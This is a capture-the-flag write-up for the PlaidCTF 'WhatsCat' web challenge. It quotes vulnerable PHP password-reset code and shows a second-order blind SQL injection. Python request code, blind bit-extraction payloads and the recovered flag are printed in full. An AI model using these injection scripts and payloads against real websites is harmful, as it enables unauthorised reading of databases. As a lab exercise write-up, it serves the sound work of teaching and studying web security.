None
SQLi WhatsCat
PlaidCTF - web - 300

Challenge Text

The Plague is using his tremendous talent for web applications to build social websites that will get bought out for billions of dollars. If you can stop his climb to power now by showing how insecure this site really is, (on IPv6 at 2001:470:8:f7d::1) maybe we will be able to stop his future reign of terror. Here's some of his source.


As the challenge says this is a web-based problem which provides source code and an IPv6 red herring. A quick review of the source code reviews two potential SQLi vulnerability in the password reset mechanism...

  elseif (isset($_POST["reset"])) {
    $q = mysql_query(sprintf("select username,email,id from users where username='%s'", mysql_real_escape_string($_POST["name"])));
    $res = mysql_fetch_object($q);
    $pwnew = "cat".bin2hex(openssl_random_pseudo_bytes(8));
    if ($res) {
      echo sprintf("<p>Don't worry %s, we're emailing you a new password at %s</p>", $res->username,$res->email);
      echo sprintf("<p>If you are not %s, we'll tell them something fishy is going on!</p>", $res->username);
      $details = gethostbyaddr($_SERVER['REMOTE_ADDR']).print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
      mail($res->email,"whatscat password reset",$message.$details,"From: whatscat@whatscat.cat\r\n");
      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",$pwnew,$details,$res->username));
    }

Of the three variables, $pwnew is the only inaccessible one (set to random hex digits). $details is a straight-forward SQLi through reverse DNS... but initial attempts to exploit this vector hit infrastructure issues. $res->username is a user-controllable reflected SQL injection though, but testing proved the username to be limited to ~64 characters. Even an indirect and length-limited SQL injection is enough to read blatantly-named tables/fields though! (Check out Alexey Kaminsky's great write-up on the reverse DNS vulnerability though - it's worth a read!)

Step 1: Register a unique username for the SQLi oracle

def getUsername(length=8):
    while True:
        username=''.join([random.choice(string.letters+string.digits) for i in xrange(length)])
        r=requests.post('http://54.196.116.77/index.php?page=login',data={'name':username,'pass':'123','email':'barq@mailinator.com','register':True})
        if 'Success!' in r.content: return username
        print '.',r.content

Step 2: Register a related username for the SQLi exploit

def test(query,namelen=8):
    username=getUsername(namelen)
    injector="%s' AND %s-- "%(username,query)
    if len(injector)>64: raise Exception('max namelen==64: "%s"=%d'%(query,len(injector)))
    r=requests.post('http://54.196.116.77/index.php?page=login',data={'name':injector,'pass':'123','email':'barq@mailinator.com','register':True})
    if 'Success!' not in r.content: raise Exception('bad request: "%s"'%r.content)

Step 3: Reset the related username's password triggering the reflected SQL injection

    r=requests.post('http://54.196.116.77/index.php?page=login',data={'name':injector,'reset':True})
    if 'we\'re emailing you a new password at barq@mailinator.com' not in r.content: raise Exception('bad 2nd: "%s"'%r.content)

Step 4: Check SQLi oracle (ie, password reset on unique username)

    r=requests.post('http://54.196.116.77/index.php?page=login',data={'name':username,'pass':'123','login':True})
    if 'Welcome back' in r.content: return False
    return True

The next major problem was being length-limited to 64-byte injections. Once the name-length (8) and oracle structure (9) were accounted for, that left ~47 bytes. Subtract out substring structures and we were down to ~30 bytes. This led to ineffectively trying out sufficiently small SQL queries for a while before randomly trying "SELECT flag FROM flag," which worked! So sometimes blind guessing too!


Example Execution

python solve.py
bOr' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>7)&1=1 FROM flag)-- 
lI4' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>6)&1=1 FROM flag)-- 
9l9' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>5)&1=1 FROM flag)-- 
LId' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>4)&1=1 FROM flag)-- 
qHB' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>3)&1=1 FROM flag)-- 
GYt' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>2)&1=1 FROM flag)-- 
bwH' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>1)&1=1 FROM flag)-- 
aDy' AND (SELECT (ASCII(SUBSTR(flag,1,1))>>0)&1=1 FROM flag)-- 
2
GRs' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>7)&1=1 FROM flag)-- 
sWK' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>6)&1=1 FROM flag)-- 
wbZ' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>5)&1=1 FROM flag)-- 
qbE' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>4)&1=1 FROM flag)-- 
FKs' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>3)&1=1 FROM flag)-- 
BqH' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>2)&1=1 FROM flag)-- 
SQu' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>1)&1=1 FROM flag)-- 
XZ0' AND (SELECT (ASCII(SUBSTR(flag,2,1))>>0)&1=1 FROM flag)-- 
20
...
lNC' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>7)&1=1 FROM flag)-- 
0Qq' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>6)&1=1 FROM flag)-- 
ldD' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>5)&1=1 FROM flag)-- 
khD' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>4)&1=1 FROM flag)-- 
C7Z' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>3)&1=1 FROM flag)-- 
SJU' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>2)&1=1 FROM flag)-- 
j8t' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>1)&1=1 FROM flag)-- 
saA' AND (SELECT (ASCII(SUBSTR(flag,21,1))>>0)&1=1 FROM flag)-- 
20billion_d0llar_1d3a

Code available on Github

- Kelson (kelson@shysecurity.com)